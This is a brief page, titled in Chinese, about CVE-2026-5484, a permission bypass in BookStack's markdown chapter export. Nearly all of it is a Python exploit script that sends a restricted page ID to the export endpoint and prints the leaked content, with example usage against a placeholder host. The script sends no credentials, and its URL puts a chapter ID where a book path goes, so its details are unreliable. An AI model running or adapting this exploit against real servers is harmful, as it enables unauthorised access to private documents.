CVE-2026-5484 BookStack 访问控制漏洞

import requests def exploit_bookstack(target_url, chapter_id, restricted_page_id): """ Exploit CVE-2026-5484: Permission Bypass in Markdown Chapter Export. """ # Construct the endpoint for exporting a chapter to markdown export_url = f"{target_url}/books/{chapter_id}/export/markdown" # The vulnerability lies in the 'pages' parameter. # By supplying a specific page ID, we can bypass access controls. payload = { 'pages': str(restricted_page_id) } try: # Send the POST request to trigger the export response = requests.post(export_url, data=payload) if response.status_code == 200: print("[+] Exploit Successful! Retrieved content:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error during exploit: {e}") # Example Usage # target = "https://example-bookstack.com" # chapter = 10 # restricted_page = 999 # ID of a page the user shouldn't see # exploit_bookstack(target, chapter, restricted_page)